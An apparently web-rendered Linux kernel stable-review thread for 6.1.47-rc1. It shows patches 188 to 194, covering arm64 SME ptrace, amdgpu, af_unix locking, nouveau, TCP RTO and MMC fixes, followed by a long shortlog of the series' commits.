@@ -2398,8 +2398,7 @@ static void __init srso_select_mitigatio* Zen1/2 with SMT off aren't vulnerable after the right * IBPB microcode has been applied. */ -if ((boot_cpu_data.x86 <0x19 ) && - (!cpu_smt_possible () || (cpu_smt_control ==CPU_SMT_DISABLED ))) { +if (boot_cpu_data.x86 <0x19 && !cpu_smt_possible ()) {setup_force_cpu_cap (X86_FEATURE_SRSO_NO );return ; }
@@ -2689,7 +2688,7 @@ static ssize_t gds_show_state(char *buf)static ssize_t srso_show_state (char *buf) {if (boot_cpu_has (X86_FEATURE_SRSO_NO )) -return sysfs_emit (buf,"Not affected\n" ); +return sysfs_emit (buf,"Mitigation: SMT disabled\n" ); return sysfs_emit(buf, "%s%s\n", srso_strings[srso_mitigation],
Greg Kroah-Hartman
maintainerPATCH 188/194 arm64/ptrace: Ensure that SME is set up for target when writing SSVE state
In reply to Greg Kroah-HartmanFrom: Mark Brown <[email protected]>
commit 5d0a8d2fba50e9c07cde4aad7fba28c008b07a5b upstream.
When we use NT_ARM_SSVE to either enable streaming mode or change the vector length for a process we do not currently do anything to ensure that there is storage allocated for the SME specific register state. If the task had not previously used SME or we changed the vector length then the task will not have had TIF_SME set or backing storage for ZA/ZT allocated, resulting in inconsistent register sizes when saving state and spurious traps which flush the newly set register state.
We should set TIF_SME to disable traps and ensure that storage is allocated for ZA and ZT if it is not already allocated. This requires modifying sme_alloc() to make the flush of any existing register state optional so we don't disturb existing state for ZA and ZT.
--- arch/arm64/include/asm/fpsimd.h | 4 ++-- arch/arm64/kernel/fpsimd.c | 6 +++--- arch/arm64/kernel/ptrace.c | 9 ++++++++- arch/arm64/kernel/signal.c | 2 +- 4 files changed, 14 insertions(+), 7 deletions(-)
arch/arm64/include/asm/fpsimd.h +2 -2
@@ -339,7 +339,7 @@ static inline int sme_max_virtualisable_return vec_max_virtualisable_vl (ARM64_VEC_SME ); } -extern void sme_alloc (struct task_struct *task); +extern void sme_alloc (struct task_struct *task,bool flush);extern unsigned int sme_get_vl (void );extern int sme_set_current_vl (unsigned long arg);extern int sme_get_current_vl (void );
@@ -365,7 +365,7 @@ static inline void sme_smstart_sm(void)static inline void sme_smstop_sm (void ) { }static inline void sme_smstop (void ) { } -static inline void sme_alloc (struct task_struct *task) { } +static inline void sme_alloc (struct task_struct *task,bool flush) { }static inline void sme_setup (void ) { }static inline unsigned int sme_get_vl (void ) {return 0 ; }static inline int sme_max_vl (void ) {return 0 ; }
arch/arm64/kernel/fpsimd.c +3 -3
@@ -1239,9 +1239,9 @@ void fpsimd_release_task(struct task_str* the interest of testability and predictability, the architecture * guarantees that when ZA is enabled it will be zeroed. */ -void sme_alloc (struct task_struct *task) +void sme_alloc (struct task_struct *task,bool flush) { -if (task->thread.za_state) { +if (task->thread.za_state && flush) {memset (task->thread.za_state,0 ,za_state_size (task));return ; }
@@ -1460,7 +1460,7 @@ void do_sme_acc(unsigned long esr, struc }sve_alloc (current, false); -sme_alloc (current); +sme_alloc (current, true);if (!current->thread.sve_state || !current->thread.za_state) {force_sig (SIGKILL );return ;
arch/arm64/kernel/ptrace.c +8 -1
@@ -886,6 +886,13 @@ static int sve_set_common(struct task_stbreak ;case ARM64_VEC_SME : target->thread.svcr |=SVCR_SM_MASK ; + +/* +* Disable traps and ensure there is SME storage but +* preserve any currently set values in ZA/ZT. +*/ +sme_alloc (target, false); +set_tsk_thread_flag (target,TIF_SME );break ;default :WARN_ON_ONCE (1 );
@@ -1107,7 +1114,7 @@ static int za_set(struct task_struct *ta }/* Allocate/reinit ZA storage */ -sme_alloc (target); +sme_alloc (target, true);if (!target->thread.za_state) { ret = -ENOMEM ; goto out;
arch/arm64/kernel/signal.c +1 -1
@@ -430,7 +430,7 @@ static int restore_za_context(struct usefpsimd_flush_task_state (current);/* From now, fpsimd_thread_switch() won't touch thread.sve_state */ -sme_alloc (current); +sme_alloc (current, true);if (!current->thread.za_state) { current->thread.svcr &= ~SVCR_ZA_MASK ;clear_thread_flag (TIF_SME );
Greg Kroah-Hartman
maintainerPATCH 189/194 drm/amd/pm: skip the RLC stop when S0i3 suspend for SMU v13.0.4/11
In reply to Greg Kroah-HartmanFrom: Tim Huang <[email protected]>
commit 730d44e1fa306a20746ad4a85da550662aed9daa upstream.
For SMU v13.0.4/11, driver does not need to stop RLC for S0i3, the firmwares will handle that properly.
--- drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c +2 -2
@@ -1562,9 +1562,9 @@ static int smu_disable_dpms(struct smu_c/* * For SMU 13.0.4/11, PMFW will handle the features disablement properly -* for gpu reset case. Driver involvement is unnecessary. +* for gpu reset and S0i3 cases. Driver involvement is unnecessary. */ -if (amdgpu_in_reset (adev)) { +if (amdgpu_in_reset (adev) || adev->in_s0ix) {switch (adev->ip_versions[MP1_HWIP ][0 ]) {case IP_VERSION (13 ,0 ,4 ):case IP_VERSION (13 ,0 ,11 ):
Greg Kroah-Hartman
maintainerPATCH 190/194 drm/amdgpu: keep irq count in amdgpu_irq_disable_all
In reply to Greg Kroah-HartmanFrom: Guchun Chen <[email protected]>
commit 8ffd6f0442674f32c048ec8dffdbc5ec67829beb upstream.
This can clean up all irq warnings because of unbalanced amdgpu_irq_get/put when unplugging/unbinding device, and leave irq count decrease in each ip fini function.
--- drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c | 1 - 1 file changed, 1 deletion(-)
drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c +0 -1
@@ -160,7 +160,6 @@ void amdgpu_irq_disable_all(struct amdgpcontinue ;for (k =0 ; k < src->num_types; ++k) { -atomic_set (&src->enabled_types[k],0 ); r = src->funcs->set (adev, src, k,AMDGPU_IRQ_STATE_DISABLE );if (r)
Greg Kroah-Hartman
maintainerPATCH 191/194 af_unix: Fix null-ptr-deref in unix_stream_sendpage().
In reply to Greg Kroah-HartmanFrom: Kuniyuki Iwashima <[email protected]>
Bing-Jhong Billy Jheng reported null-ptr-deref in unix_stream_sendpage() with detailed analysis and a nice repro.
unix_stream_sendpage() tries to add data to the last skb in the peer's recv queue without locking the queue.
If the peer's FD is passed to another socket and the socket's FD is passed to the peer, there is a loop between them. If we close both sockets without receiving FD, the sockets will be cleaned up by garbage collection.
The garbage collection iterates such sockets and unlinks skb with FD from the socket's receive queue under the queue's lock.
So, there is a race where unix_stream_sendpage() could access an skb locklessly that is being released by garbage collection, resulting in use-after-free.
To avoid the issue, unix_stream_sendpage() must lock the peer's recv queue.
Note the issue does not exist in 6.5+ thanks to the recent sendpage() refactoring.
This patch is originally written by Linus Torvalds.
BUG: unable to handle page fault for address: ffff988004dd6870
PF: supervisor read access in kernel mode
PF: error_code(0x0000) - not-present page
PGD 0 P4D 0
PREEMPT SMP PTI
CPU: 4 PID: 297 Comm: garbage_uaf Not tainted 6.1.46 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:kmem_cache_alloc_node+0xa2/0x1e0 Code: c0 0f 84 32 01 00 00 41 83 fd ff 74 10 48 8b 00 48 c1 e8 3a 41 39 c5 0f 85 1c 01 00 00 41 8b 44 24 28 49 8b 3c 24 48 8d 4a 40 <49> 8b 1c 06 4c 89 f0 65 48 0f c7 0f 0f 94 c0 84 c0 74 a1 41 8b 44 RSP: 0018:ffffc9000079fac0 EFLAGS: 00000246 RAX: 0000000000000070 RBX: 0000000000000005 RCX: 000000000001a284 RDX: 000000000001a244 RSI: 0000000000400cc0 RDI: 000000000002eee0 RBP: 0000000000400cc0 R08: 0000000000400cc0 R09: 0000000000000003 R10: 0000000000000001 R11: 0000000000000000 R12: ffff888003970f00 R13: 00000000ffffffff R14: ffff988004dd6800 R15: 00000000000000e8 FS: 00007f174d6f3600(0000) GS:ffff88807db00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff988004dd6870 CR3: 00000000092be000 CR4: 00000000007506e0 PKRU: 55555554 Call Trace: <TASK> ? __die_body.cold+0x1a/0x1f ? page_fault_oops+0xa9/0x1e0 ? fixup_exception+0x1d/0x310 ? exc_page_fault+0xa8/0x150 ? asm_exc_page_fault+0x22/0x30 ? kmem_cache_alloc_node+0xa2/0x1e0 ? __alloc_skb+0x16c/0x1e0 __alloc_skb+0x16c/0x1e0 alloc_skb_with_frags+0x48/0x1e0 sock_alloc_send_pskb+0x234/0x270 unix_stream_sendmsg+0x1f5/0x690 sock_sendmsg+0x5d/0x60 ____sys_sendmsg+0x210/0x260 ___sys_sendmsg+0x83/0xd0 ? kmem_cache_alloc+0xc6/0x1c0 ? avc_disable+0x20/0x20 ? percpu_counter_add_batch+0x53/0xc0 ? alloc_empty_file+0x5d/0xb0 ? alloc_file+0x91/0x170 ? alloc_file_pseudo+0x94/0x100 ? __fget_light+0x9f/0x120 __sys_sendmsg+0x54/0xa0 do_syscall_64+0x3b/0x90 entry_SYSCALL_64_after_hwframe+0x69/0xd3 RIP: 0033:0x7f174d639a7d Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 8a c1 f4 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 de c1 f4 ff 48 RSP: 002b:00007ffcb563ea50 EFLAGS: 00000293 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f174d639a7d RDX: 0000000000000000 RSI: 00007ffcb563eab0 RDI: 0000000000000007 RBP: 00007ffcb563eb10 R08: 0000000000000000 R09: 00000000ffffffff R10: 00000000004040a0 R11: 0000000000000293 R12: 00007ffcb563ec28 R13: 0000000000401398 R14: 0000000000403e00 R15: 00007f174d72c000 </TASK>
--- net/unix/af_unix.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-)
net/unix/af_unix.c +4 -5
@@ -2290,6 +2290,7 @@ static ssize_t unix_stream_sendpage(struif (false) { alloc_skb: +spin_unlock (&other->sk_receive_queue.lock);unix_state_unlock (other);mutex_unlock (&unix_sk (other)->iolock); newskb = sock_alloc_send_pskb(sk, 0, 0, flags & MSG_DONTWAIT,
@@ -2329,6 +2330,7 @@ alloc_skb: init_scm = false; } +spin_lock (&other->sk_receive_queue.lock); skb =skb_peek_tail (&other->sk_receive_queue);if (tail && tail == skb) { skb = newskb;
@@ -2359,14 +2361,11 @@ alloc_skb:refcount_add (size, &sk->sk_wmem_alloc);if (newskb) { - err =unix_scm_to_skb (&scm, skb, false); -if (err) - goto err_state_unlock; -spin_lock (&other->sk_receive_queue.lock); +unix_scm_to_skb (&scm, skb, false);__skb_queue_tail (&other->sk_receive_queue, newskb); -spin_unlock (&other->sk_receive_queue.lock); } +spin_unlock (&other->sk_receive_queue.lock);unix_state_unlock (other);mutex_unlock (&unix_sk (other)->iolock);
Greg Kroah-Hartman
maintainerPATCH 192/194 drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create
In reply to Greg Kroah-HartmanFrom: Karol Herbst <[email protected]>
commit 1b254b791d7b7dea6e8adc887fbbd51746d8bb27 upstream.
We can't simply free the connector after calling drm_connector_init on it. We need to clean up the drm side first.
It might not fix all regressions from commit 2b5d1c29f6c4 ("drm/nouveau/disp: PIOR DP uses GPIO for HPD, not PMGR AUX interrupts"), but at least it fixes a memory corruption in error handling related to that commit.
--- drivers/gpu/drm/nouveau/nouveau_connector.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
drivers/gpu/drm/nouveau/nouveau_connector.c +6 -2
@@ -1407,8 +1407,7 @@ nouveau_connector_create(struct drm_devi ret =nvif_conn_ctor (&disp->disp, nv_connector->base.name, nv_connector->index, &nv_connector->conn);if (ret) { -kfree (nv_connector); -return ERR_PTR (ret); + goto drm_conn_err; } }
@@ -1470,4 +1469,9 @@ nouveau_connector_create(struct drm_devidrm_connector_register (connector);return connector; + +drm_conn_err: +drm_connector_cleanup (connector); +kfree (nv_connector); +return ERR_PTR (ret); }
Greg Kroah-Hartman
maintainerPATCH 193/194 net: fix the RTO timer retransmitting skb every 1ms if linear option is enabled
In reply to Greg Kroah-HartmanFrom: Jason Xing <[email protected]>
commit e4dd0d3a2f64b8bd8029ec70f52bdbebd0644408 upstream.
In the real workload, I encountered an issue which could cause the RTO timer to retransmit the skb per 1ms with linear option enabled. The amount of lost-retransmitted skbs can go up to 1000+ instantly.
The root cause is that if the icsk_rto happens to be zero in the 6th round (which is the TCP_THIN_LINEAR_RETRIES value), then it will always be zero due to the changed calculation method in tcp_retransmit_timer() as follows:
icsk->icsk_rto = min(icsk->icsk_rto << 1, TCP_RTO_MAX);
Above line could be converted toicsk->icsk_rto = min(0 << 1, TCP_RTO_MAX) = 0
Therefore, the timer expires so quickly without any doubt.
I read through the RFC 6298 and found that the RTO value can be rounded up to a certain value, in Linux, say TCP_RTO_MIN as default, which is regarded as the lower bound in this patch as suggested by Eric.
--- net/ipv4/tcp_timer.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
net/ipv4/tcp_timer.c +3 -1
@@ -586,7 +586,9 @@ out_reset_timer: tcp_stream_is_thin(tp) && icsk->icsk_retransmits <= TCP_THIN_LINEAR_RETRIES) { icsk->icsk_backoff = 0; - icsk->icsk_rto = min(__tcp_set_rto(tp), TCP_RTO_MAX); + icsk->icsk_rto = clamp(__tcp_set_rto(tp), + tcp_rto_min(sk), + TCP_RTO_MAX); } else {/* Use normal (exponential) backoff */ icsk->icsk_rto =min (icsk->icsk_rto <<1 ,TCP_RTO_MAX );
Greg Kroah-Hartman
maintainerPATCH 194/194 mmc: f-sdh30: fix order of function calls in sdhci_f_sdh30_remove
In reply to Greg Kroah-HartmanFrom: Yangtao Li <[email protected]>
commit 58abdd80b93b09023ca03007b608685c41e3a289 upstream.
The order of function calls in sdhci_f_sdh30_remove is wrong, let's call sdhci_pltfm_unregister first.
--- drivers/mmc/host/sdhci_f_sdh30.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-)
drivers/mmc/host/sdhci_f_sdh30.c +5 -3
@@ -188,12 +188,14 @@ static int sdhci_f_sdh30_remove(struct p {struct sdhci_host *host =platform_get_drvdata (pdev);struct f_sdhost_priv *priv =sdhci_f_sdhost_priv (host); - -clk_disable_unprepare (priv->clk_iface); -clk_disable_unprepare (priv->clk); +struct clk *clk_iface = priv->clk_iface; +struct clk *clk = priv->clk;sdhci_pltfm_unregister (pdev); +clk_disable_unprepare (clk_iface); +clk_disable_unprepare (clk); +return 0 ; }
Quoted 9 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.47 release. There are 194 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
Quoted 8 lines
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.47-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.1.y
and the diffstat can be found below.thanks,
greg k-h
For RCU,
thanks,
- Joel
Quoted 852 lines
-------------
Pseudo-Shortlog of commits:Greg Kroah-Hartman <[email protected]>
Linux 6.1.47-rc1Yangtao Li <[email protected]>
mmc: f-sdh30: fix order of function calls insdhci_f_sdh30_removeJason Xing <[email protected]>
net: fix the RTO timer retransmitting skb every 1ms if linear option is enabledKarol Herbst <[email protected]>
drm/nouveau/disp: fix use-after-free in error handling ofnouveau_connector_createKuniyuki Iwashima <[email protected]>
af_unix: Fix null-ptr-deref inunix_stream_sendpage().Guchun Chen <[email protected]>
drm/amdgpu: keep irq count inamdgpu_irq_disable_allTim Huang <[email protected]>
drm/amd/pm: skip the RLC stop when S0i3 suspend for SMU v13.0.4/11Mark Brown <[email protected]>
arm64/ptrace: Ensure that SME is set up for target when writing SSVE stateBorislav Petkov (AMD) <[email protected]>
x86/srso: Correct the mitigation status when SMT is disabledPeter Zijlstra <[email protected]>
objtool/x86: Fixup frame-pointer vs rethunkPetr Pavlu <[email protected]>
x86/retpoline,kprobes: Fix position of thunk sections withCONFIG_LTO_CLANGBorislav Petkov (AMD) <[email protected]>
x86/srso: Disable the mitigation on unaffected configurationsBorislav Petkov (AMD) <[email protected]>
x86/CPU/AMD: Fix the DIV(0) initial fix attemptSean Christopherson <[email protected]>
x86/retpoline: Don't clobber RFLAGS duringsrso_safe_ret()Peter Zijlstra <[email protected]>
x86/static_call: Fix __static_call_fixup()Borislav Petkov (AMD) <[email protected]>
x86/srso: Explain the untraining sequences a bit morePeter Zijlstra <[email protected]>
x86/cpu: Cleanup the untrain messPeter Zijlstra <[email protected]>
x86/cpu: Rename srso_(.*)_alias to srso_alias_\1Peter Zijlstra <[email protected]>
x86/cpu: Rename original retbleed methodsPeter Zijlstra <[email protected]>
x86/cpu: Clean up SRSO return thunk messPeter Zijlstra <[email protected]>
x86/alternative: Make custom return thunk unconditionalPeter Zijlstra <[email protected]>
x86/cpu: Fix up srso_safe_ret() and __x86_return_thunk()Peter Zijlstra <[email protected]>
x86/cpu: Fix__x86_return_thunksymbol typeXin Long <[email protected]>
netfilter: set default timeout to 3 secs for sctp shutdown send and recv stateMike Kravetz <[email protected]>
hugetlb: do not clear hugetlb dtor until allocating vmemmapSaaem Rizvi <[email protected]>
drm/amd/display: Implement workaround for writing toOTG_PIXEL_RATE_DIVregisterVincent Guittot <[email protected]>
sched/fair: Remove capacity inversion detectionVincent Guittot <[email protected]>
sched/fair: unlink misfit task from cpu overutilizedSergey Senozhatsky <[email protected]>
zsmalloc: allow only one active pool compaction contextDaniel Miess <[email protected]>
drm/amd/display: disable RCO for DCN314Arnd Bergmann <[email protected]>
ASoC: amd: vangogh: selectCONFIG_SND_AMD_ACP_CONFIGUmio Yasuno <[email protected]>
drm/amdgpu/pm: fixthrottle_statusfor other than MP1 11.0.7Tim Huang <[email protected]>
drm/amdgpu: skip fence GFX interrupts disable/enable for S0ixMario Limonciello <[email protected]>
drm/amd: flush any delayed gfxoff on suspend entryJani Nikula <[email protected]>
drm/i915/sdvo: fixpanel_typeinitializationWander Lairson Costa <[email protected]>
drm/qxl: fix UAF on handle creationYibin Ding <[email protected]>
mmc: block: Fix in_flight[issue_type] value errorYang Yingliang <[email protected]>
mmc: wbsd: fix doublemmc_free_host()inwbsd_init()Sweet Tea Dorminy <[email protected]>
blk-crypto: dynamically allocate fallback profileYogesh Hegde <[email protected]>
arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boardsHawkins Jiawei <[email protected]>
virtio-net: Zeromax_tx_vqfield forVIRTIO_NET_CTRL_MQ_HASH_CONFIGcaseMingzheng Xing <[email protected]>
riscv: Handle zicsr/zifencei issue between gcc and binutilsRussell Harmon via samba-technical <[email protected]>
cifs: Release folio lock on fscache read hit.dengxiang <[email protected]>
ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces.Tony Lindgren <[email protected]>
serial: 8250: Fix oops for port->pm on uart_change_pm()Alexandre Ghiti <[email protected]>
riscv: uaccess: Return the number of bytes effectively not copiedKailang Yang <[email protected]>
ALSA: hda/realtek - Remodified 3k pull low procedureJiasheng Jiang <[email protected]>
soc: aspeed: socinfo: Add kfree for kstrdupZev Weiss <[email protected]>
soc: aspeed: uart-routing: Use__sysfs_match_stringStefan Binding <[email protected]>
ALSA: hda/realtek: Add quirks for HP G11 LaptopsJerome Brunet <[email protected]>
ASoC: meson: axg-tdm-formatter: fix channel slot allocationZhang Shurong <[email protected]>
ASoC: rt5665: add missedregulator_bulk_disableAlexander Stein <[email protected]>
arm64: dts: imx93: Fix anatop node sizeXiaolei Wang <[email protected]>
ARM: dts: imx: Set default tuning step for imx6sx usdhcFabio Estevam <[email protected]>
arm64: dts: imx8mm: Drop CSI1 PHY reference clock configurationAndrej Picej <[email protected]>
ARM: dts: imx6: phytec: fix RTC interrupt levelKrzysztof Kozlowski <[email protected]>
ARM: dts: imx: align LED node names with dtschemaChristopher Obbard <[email protected]>
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+Christopher Obbard <[email protected]>
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4Dmitry Baryshkov <[email protected]>
arm64: dts: qcom: qrb5165-rb5: fix thermal zone conflictTony Lindgren <[email protected]>
bus: ti-sysc: Flush posted write on enable before resetMarcin Szycik <[email protected]>
ice: Block switchdev mode when ADQ is active and vice versaManish Chopra <[email protected]>
qede: fix firmware halt over suspend and resumeEric Dumazet <[email protected]>
net: do not allowgso_sizeto be set toGSO_BY_FRAGSAbel Wu <[email protected]>
sock: Fix misuse ofsk_under_memory_pressure()Edward Cree <[email protected]>
sfc: don't unregisterflow_indrif it was never registeredAlfred Lee <[email protected]>
net: dsa: mv88e6xxx: Wait for EEPROM done before HW resetAndrii Staikov <[email protected]>
i40e: fix misleading debug logsPiotr Gardocki <[email protected]>
iavf: fix FDIR rule fields masks validationJakub Kicinski <[email protected]>
net: openvswitch: reject negative ifindexZiyang Xuan <[email protected]>
team: Fix incorrect deletion ofETH_P_8021ADprotocol vid from slavesJustin Chen <[email protected]>
net: phy: broadcom: stub c45 read/write for 54810Pablo Neira Ayuso <[email protected]>
netfilter:nft_dynset: disallow object mapsSishuai Gong <[email protected]>
ipvs: fix racy memcpy inproc_do_sync_thresholdFlorian Westphal <[email protected]>
netfilter:nf_tables: deactivate catchall elements in next generationFlorian Westphal <[email protected]>
netfilter:nf_tables: fix false-positive lockdep splatMichal Schmidt <[email protected]>
octeon_ep: canceltx_timeout_tasklater in remove sequenceRadhey Shyam Pandey <[email protected]>
net: macb: In ZynqMP resume always configure PS GTR for non-wakeup sourceLuca Ceresoli <[email protected]>
drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docsPetr Machata <[email protected]>
selftests:mirror_gre_changes: Tighten up the TTL test matchRussell King (Oracle) <[email protected]>
net: phy: fix IRQ-based wake-on-lan over hibernate / power offXiang Yang <[email protected]>
net: pcs: Add missingput_devicecall inmiic_createJason Wang <[email protected]>
virtio-net: set queues afterdriver_okLaurent Vivier <[email protected]>
virtio_net: notify MAC address change on device initializationLin Ma <[email protected]>
xfrm: add forgottennla_policyforXFRMA_MTIMER_THRESHLin Ma <[email protected]>
xfrm: add NULL check inxfrm_update_ae_paramsZhengchao Shao <[email protected]>
ip_vti: fix potential slab-use-after-free indecode_session6Zhengchao Shao <[email protected]>
ip6_vti: fix slab-use-after-free indecode_session6Zhengchao Shao <[email protected]>
xfrm: fix slab-use-after-free indecode_session6Lin Ma <[email protected]>
net: xfrm: AmendXFRMA_SEC_CTXnla_policystructureLin Ma <[email protected]>
net:af_key: fixsadb_x_filtervalidationLin Ma <[email protected]>
net: xfrm: Fixxfrm_address_filterOOB readTam Nguyen <[email protected]>
i2c: designware: Handle invalid SMBus block data response length valueQuan Nguyen <[email protected]>
i2c: designware: Correct length byte validation logicxiaoshoukui <[email protected]>
btrfs: fixBUG_ONcondition inbtrfs_cancel_balanceJosef Bacik <[email protected]>
btrfs: fix incorrect splitting inbtrfs_drop_extent_map_rangeSherry Sun <[email protected]>
tty: serial:fsl_lpuart: Clear the error flags by writing 1 for lpuart32 platformsYi Yang <[email protected]>
tty:n_gsm: fix the UAF caused by race condition ingsm_cleanup_muxDragos Tatulea <[email protected]>
vdpa: Enable strict validation for netlinks opsLin Ma <[email protected]>
vdpa: Add max vqp attr tovdpa_nl_policyfor nlattr length checkLin Ma <[email protected]>
vdpa: Add queue index attr tovdpa_nl_policyfor nlattr length checkLin Ma <[email protected]>
vdpa: Add features attr tovdpa_nl_policyfor nlattr length checkNathan Lynch <[email protected]>
powerpc/rtas_flash: allow user copy to flash block cache objectsYuanjun Gong <[email protected]>
fbdev: mmp: fix value check inmmphw_probe()Parker Newman <[email protected]>
i2c: tegra: Fix i2c-tegra DMA config option processingYicong Yang <[email protected]>
i2c: hisi: Only handle the interrupt of the driver's transferChengfeng Ye <[email protected]>
i2c: bcm-iproc: Fixbcm_iproc_i2c_isrdeadlock issueSteve French <[email protected]>
cifs: fix potential oops incifs_oplock_breakEugenio Pérez <[email protected]>
vdpa/mlx5: Delete control vq iotlb indestroy_mronly when necessaryDragos Tatulea <[email protected]>
vdpa/mlx5: Fix mr->initialized semanticsMaxime Coquelin <[email protected]>
vduse: Use proper spinlock for IRQ injectionWolfram Sang <[email protected]>
virtio-mmio: don't break lifecycle ofvm_devFilipe Manana <[email protected]>
btrfs: fix use-after-free of new block group that became unusedDavid Sterba <[email protected]>
btrfs: convertbtrfs_block_group::seq_zoneto runtime flagDavid Sterba <[email protected]>
btrfs: convertbtrfs_block_group::needs_free_spaceto runtime flagNaohiro Aota <[email protected]>
btrfs: move out now unused BG from the reclaim listDaniel Vetter <[email protected]>
video/aperture: Only remove sysfb on the default vga pci deviceThomas Zimmermann <[email protected]>
fbdev/hyperv-fb: Do not set struct fb_info.aperturesXu Yang <[email protected]>
ARM: dts: nxp/imx6sll: fix wrong property name in usbphy nodeMarc Zyngier <[email protected]>
KVM: arm64: vgic-v4: Make the doorbell request robust w.r.t preemptionHersen Wu <[email protected]>
drm/amd/display: fix accesshdcp_workqueueasserthersen wu <[email protected]>
drm/amd/display: phase3 mst hdcp for multiple displayshersen wu <[email protected]>
drm/amd/display: save restore hdcp state when display is unplugged from mst hubSong Yoong Siang <[email protected]>
igc: read before write to SRRCTL registerChen Lin <[email protected]>
ring-buffer: Do not swapcpu_bufferduring resize processAndy Shevchenko <[email protected]>
Bluetooth: MGMT: Use correct address formemcpy()Benjamin Gray <[email protected]>
powerpc/kasan: Disable KCOV in KASAN codeLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG GZ301VLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG GA402XLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG GX650PTuo Li <[email protected]>
ALSA: hda: fix a possible null-pointer dereference due to data race insnd_hdac_regmap_sync()dengxiang <[email protected]>
ALSA: hda/realtek: Add quirks for Unis H3C Desktop B760 & Q760Konstantin Komarov <[email protected]>
fs/ntfs3: Mark ntfs dirty when on-disk struct is corruptedJia-Ju Bai <[email protected]>
fs: ntfs3: Fix possible null-pointer dereferences inmi_read()Edward Lo <[email protected]>
fs/ntfs3: Enhance sanity check while generatingattr_listshanzhulig <[email protected]>
drm/amdgpu: Fix potential fence use-after-free v2Xiubo Li <[email protected]>
ceph: try to dump the msgs when decoding failsMatthew Anderson <[email protected]>
Bluetooth: btusb: Add MT7922 bluetooth ID for the Asus AllyZhengping Jiang <[email protected]>
Bluetooth: L2CAP: Fix use-after-freeYuechao Zhao <[email protected]>
watchdog:sp5100_tco: support Hygon FCH/SCH (Server Controller Hub)Zhang Shurong <[email protected]>
firewire: net: fix use after free infwnet_finish_incoming_packet()Mika Westerberg <[email protected]>
thunderbolt: Limit Intel Barlow Ridge USB3 bandwidthMika Westerberg <[email protected]>
thunderbolt: Add Intel Barlow Ridge PCI IDArmin Wolf <[email protected]>
pcmcia:rsrc_nonstatic: Fix memory leak innonstatic_release_resource_db()Tuo Li <[email protected]>
gfs2: Fix possible data races ingfs2_show_options()Xu Yang <[email protected]>
usb: chipidea: imx: add missing USB PHY DPDM wakeup settingXu Yang <[email protected]>
usb: chipidea: imx: don't request QoS for imx8ulpMika Westerberg <[email protected]>
thunderbolt: Read retimer NVM authentication status priortb_retimer_set_inbound_sbtx()Hans Verkuil <[email protected]>
media: platform: mediatek: vpu: fix NULL ptr dereferenceAvichal Rakesh <[email protected]>
usb: gadget: uvc: queue empty isoc requests if no video buffer is availablePrashanth K <[email protected]>
usb: gadget:u_serial: Avoid spinlock recursion in__gs_console_pushAndrey Konovalov <[email protected]>
media: camss: set VFEbpl_alignmentto 16 for sdm845 and sm8250Yunfei Dong <[email protected]>
media: v4l2-mem2mem: add lock to protect parameternum_rdyLu Hongfei <[email protected]>
led: qcom-lpg: Fix resource leaks infor_each_available_child_of_node()loopsUwe Kleine-König <[email protected]>
serial: stm32: Ignore return value ofuart_remove_one_port()in .remove()Winston Wen <[email protected]>
cifs: fix session state check in reconnect to avoid use-after-free issuePaulo Alcantara <[email protected]>
smb: client: fix warning incifs_smb3_do_mount()Matthew Anderson <[email protected]>
ALSA: hda/realtek: Add quirks for ROG ALLY CS35l41 audioEven Xu <[email protected]>
HID: intel-ish-hid: ipc: Add Arrow Lake PCI device IDPeter Ujfalusi <[email protected]>
ASoC: SOF: core: Free the firmware trace before callingsnd_sof_shutdown()Daniel Miess <[email protected]>
drm/amd/display: Enable dcn314 DPP RCONicholas Kazlauskas <[email protected]>
drm/amd/display: Skip DPP DTO update if root clock is gatedPatrisious Haddad <[email protected]>
RDMA/mlx5: Return the firmware result upon destroying QP/RQAlvin Lee <[email protected]>
drm/amd/display: Apply 60us prefetch for DCFCLK <= 300MhzLang Yu <[email protected]>
drm/amdgpu: install stub fence into potential unused fence pointersSuravee Suthikulpanit <[email protected]>
iommu/amd: Introduce Disable IRTE Caching Supportstuarthayhurst <[email protected]>
HID: logitech-hidpp: Add USB and Bluetooth IDs for the Logitech G915 TKL KeyboardOfir Bitton <[email protected]>
accel/habanalabs: add pci health check during heartbeatgaoxu <[email protected]>
dma-remap: use kvmalloc_array/kvfree for larger dma memory remapPierre-Louis Bossart <[email protected]>
ASoC: SOF: Intel: fix SoundWire/HDaudio mutual exclusionGeert Uytterhoeven <[email protected]>
iopoll: Callcpu_relax()in busy loopsUday M Bhat <[email protected]>
